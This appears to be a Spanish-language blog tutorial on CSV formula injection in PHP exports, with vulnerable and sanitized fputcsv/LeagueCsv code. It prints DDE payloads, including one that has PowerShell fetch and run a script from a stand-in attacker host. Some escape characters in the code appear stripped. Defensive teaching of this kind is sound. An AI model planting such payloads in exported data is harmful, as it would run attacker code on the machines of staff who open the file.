Tienes un panel de administración con un botón de "Exportar a CSV". Lo usa el equipo de soporte para revisar registros de usuarios. No tiene mucho misterio, ¿no? Pues resulta que ese botón puede ser la puerta de entrada a un ataque que comprometa el ordenador de quien abra el fichero.
Se llama inyección CSV, también conocida como formula injection, y lleva años en el top de vulnerabilidades que los desarrolladores ignoran porque no afecta al servidor, sino al cliente. OWASP la tiene documentada y las auditorías de seguridad la detectan con frecuencia en aplicaciones PHP que de otro modo están bien construidas.
La vulnerabilidad que casi nadie conoce
El problema arranca aquí: Excel, LibreOffice y Google Sheets interpretan como fórmulas cualquier celda que empiece por =, +, - o @. Eso es una funcionalidad normal de las hojas de cálculo. El usuario escribe =SUM(A1:A10) y la hoja lo calcula. Hasta ahí todo bien.
Ahora imagina que un atacante rellena el campo "nombre" de tu formulario con esto:
=cmd|' /C calc'!A0
Tu aplicación almacena ese string tal cual en la base de datos. Cuando alguien del equipo exporta los registros a CSV y abre el fichero en Excel (versiones antiguas o con configuración permisiva), Excel interpreta ese valor como una fórmula DDE (Dynamic Data Exchange) e intenta ejecutar calc.exe. En lugar de la calculadora, podría ser PowerShell descargando y ejecutando código remoto.
El atacante no necesita acceso al servidor. Le basta con que tú guardes sus datos sin sanitizar y que alguien los exporte.
Cómo funciona el ataque paso a paso
El flujo es sencillo y por eso es tan efectivo:
- El atacante envía un formulario público con una fórmula maliciosa en un campo de texto libre (nombre, descripción, mensaje de contacto).
- La aplicación almacena el valor en la base de datos sin ningún tipo de validación especial, porque para el servidor es un string cualquiera.
- Un empleado, días o semanas después, exporta registros a CSV usando el botón de exportar.
- Abre el fichero en Excel o LibreOffice.
- El programa de hoja de cálculo evalúa las celdas y detecta la fórmula. Dependiendo de la versión y configuración, puede ejecutarla directamente o mostrar un aviso que el usuario ignora porque está acostumbrado a aceptar.
Un ejemplo más elaborado para Windows con DDE:
=cmd|' /C powershell -Command "Invoke-WebRequest http://evil.example.com/payload.ps1 | iex"'!A0
En versiones recientes de Excel, Microsoft ha reducido la superficie de ataque por defecto, pero muchas empresas trabajan con versiones antiguas de Office, LibreOffice sin actualizar o Google Sheets, que tiene su propio comportamiento con fórmulas importadas.
Por qué PHP es el vector habitual
PHP tiene fputcsv(), una función que gestiona el escaping de CSV correctamente: escapa comas, comillas dobles y saltos de línea para que el fichero sea un CSV válido. Pero no toca las fórmulas. No es un bug de PHP, es que no entra en su ámbito. El estándar CSV (RFC 4180) no dice nada sobre fórmulas de hojas de cálculo.
El código más habitual que verás en proyectos PHP es este:
<?php
$fp = fopen('php://output', 'w');
fputcsv($fp, ['Nombre', 'Email', 'Mensaje']); // cabecera
foreach ($registros as $fila) {
fputcsv($fp, [$fila['nombre'], $fila['email'], $fila['mensaje']]);
}
fclose($fp);
Si $fila['nombre'] contiene =cmd|' /C calc'!A0, ese valor llega intacto al CSV. fputcsv() lo envolverá en comillas si tiene comas, pero no prefijará el =.
Lo mismo ocurre con librerías populares como LeagueCsv: gestionan bien el formato CSV pero no sanitizan fórmulas por defecto. Tendrías que hacerlo tú antes de pasarles los datos.
Cómo protegerse en PHP
La solución es añadir una función de sanitización que detecte si un valor empieza por uno de los caracteres que las hojas de cálculo interpretan como fórmula y lo prefixa con un apóstrofe. El apóstrofe hace que Excel y LibreOffice traten el contenido como texto literal.
Los caracteres a vigilar son: =, +, -, @, tabulador (t) y retorno de carro (r).
<?php
function sanitizeCsvCell(string $value): string
{
$peligrosos = ['=', '+', '-', '@', "t", "r"];
if ($value !== '' && in_array($value[0], $peligrosos, true)) {
return "'" . $value;
}
return $value;
}
Y la aplicación en la exportación:
<?php
$fp = fopen('php://output', 'w');
fputcsv($fp, ['Nombre', 'Email', 'Mensaje']);
foreach ($registros as $fila) {
fputcsv($fp, [
sanitizeCsvCell($fila['nombre']),
sanitizeCsvCell($fila['email']),
sanitizeCsvCell($fila['mensaje']),
]);
}
fclose($fp);
Con LeagueCsv el enfoque es el mismo, aplicas la función a cada campo antes de añadir el registro al writer:
<?php
use LeagueCsvWriter;
$csv = Writer::createFromString();
$csv->insertOne(['Nombre', 'Email', 'Mensaje']);
foreach ($registros as $fila) {
$csv->insertOne(array_map('sanitizeCsvCell', [
$fila['nombre'],
$fila['email'],
$fila['mensaje'],
]));
}
Para conocer más sobre buenas prácticas modernas en PHP que complementan este tipo de medidas, te recomiendo ese artículo.
Cuándo sanitizar y cuándo no
Aquí la gente se complica, pero la respuesta es bastante directa: si no controlas quién abre el fichero, sanitiza.
Si el CSV es para uso interno, lo abre únicamente personal técnico que sabe lo que está viendo y tiene Excel correctamente configurado, el riesgo es bajo. Sigue siendo recomendable sanitizar, pero la urgencia es menor.
Si el CSV lo pueden descargar usuarios externos, se importa en sistemas de terceros, lo recibe un cliente, o lo abre alguien del departamento de ventas o soporte que simplemente hace doble clic, tienes que sanitizar sin excusas. No puedes asumir que van a tener la versión correcta de Excel ni que van a leer los avisos de seguridad.
Demostración completa: formulario vulnerable y su corrección
Este es un ejemplo mínimo pero completo. Primero el formulario de recogida de datos, luego el error habitual en la exportación y después la versión corregida.
Recogida de datos (igual en ambos casos)
<?php
// formulario.php recibe nombre y mensaje del usuario
$nombre = $_POST['nombre'] ?? '';
$mensaje = $_POST['mensaje'] ?? '';
// Almacenamos en BBDD tal cual llegan (correcto: la BBDD guarda el dato real)
$stmt = $pdo->prepare('INSERT INTO contactos (nombre, mensaje) VALUES (?, ?)');
$stmt->execute([$nombre, $mensaje]);
Exportación vulnerable
<?php
// exportar.php VERSIÓN VULNERABLE
header('Content-Type: text/csv');
header('Content-Disposition: attachment; filename="contactos.csv"');
$fp = fopen('php://output', 'w');
fputcsv($fp, ['Nombre', 'Mensaje']);
$stmt = $pdo->query('SELECT nombre, mensaje FROM contactos');
while ($fila = $stmt->fetch(PDO::FETCH_ASSOC)) {
// Si nombre es "=cmd|' /C calc'!A0", llega intacto al CSV
fputcsv($fp, [$fila['nombre'], $fila['mensaje']]);
}
fclose($fp);
Exportación corregida
<?php
// exportar.php VERSIÓN SEGURA
function sanitizeCsvCell(string $value): string
{
$peligrosos = ['=', '+', '-', '@', "t", "r"];
if ($value !== '' && in_array($value[0], $peligrosos, true)) {
return "'" . $value;
}
return $value;
}
header('Content-Type: text/csv; charset=utf-8');
header('Content-Disposition: attachment; filename="contactos.csv"');
$fp = fopen('php://output', 'w');
fputcsv($fp, ['Nombre', 'Mensaje']);
$stmt = $pdo->query('SELECT nombre, mensaje FROM contactos');
while ($fila = $stmt->fetch(PDO::FETCH_ASSOC)) {
fputcsv($fp, [
sanitizeCsvCell($fila['nombre']),
sanitizeCsvCell($fila['mensaje']),
]);
}
fclose($fp);
Medidas complementarias
La sanitización de celdas es lo más importante, pero hay un par de cosas más que conviene tener en cuenta al servir ficheros CSV desde PHP.
Headers HTTP correctos
Fuerza la descarga en lugar de la previsualización en el navegador:
<?php
header('Content-Type: text/csv; charset=utf-8');
header('Content-Disposition: attachment; filename="exportacion.csv"');
header('Cache-Control: no-store');
El header Content-Disposition: attachment evita que algunos navegadores intenten previsualizar el CSV en línea, lo que podría procesarlo de formas inesperadas.
Validación en la entrada
Aunque la sanitización en la exportación es suficiente para proteger contra CSV injection, validar los datos en el formulario de entrada siempre es buena práctica: limitar la longitud de los campos, definir qué caracteres son válidos para cada tipo de dato. No por CSV injection en concreto, sino porque los datos limpios en la BBDD son más fáciles de manejar en todos los contextos.
Auditoría de exportaciones
Si manejas datos sensibles, registra qué usuario hizo una exportación, cuándo y con qué filtros. Si alguien explota una vulnerabilidad de este tipo, tener ese log es la diferencia entre saber qué pasó y no tener ni idea. Para más detalles sobre cómo diseñar este tipo de controles en seguridad y rendimiento en APIs PHP, ese artículo tiene contexto útil.
Un detalle sobre los avisos de Excel
Desde Excel 2016 con los parches de seguridad actualizados, Microsoft muestra un aviso antes de ejecutar DDE. Muchos usuarios hacen clic en "Aceptar" sin leerlo. LibreOffice tiene su propio comportamiento y Google Sheets, al importar un CSV, también puede evaluar fórmulas dependiendo de cómo se haga la importación.
Confiar en que el cliente tenga el software actualizado y lea los avisos de seguridad no es una estrategia. La sanitización en el servidor es la única medida que no depende del comportamiento del usuario final.
Si tienes una aplicación PHP con exportaciones CSV y no tienes una función de este tipo aplicada a todos los campos que vienen de entrada del usuario, es el momento de añadirla. Es una función de diez líneas que puede evitar un incidente de seguridad bastante desagradable de explicar.
Imagen: Pexels / Markus Winkler
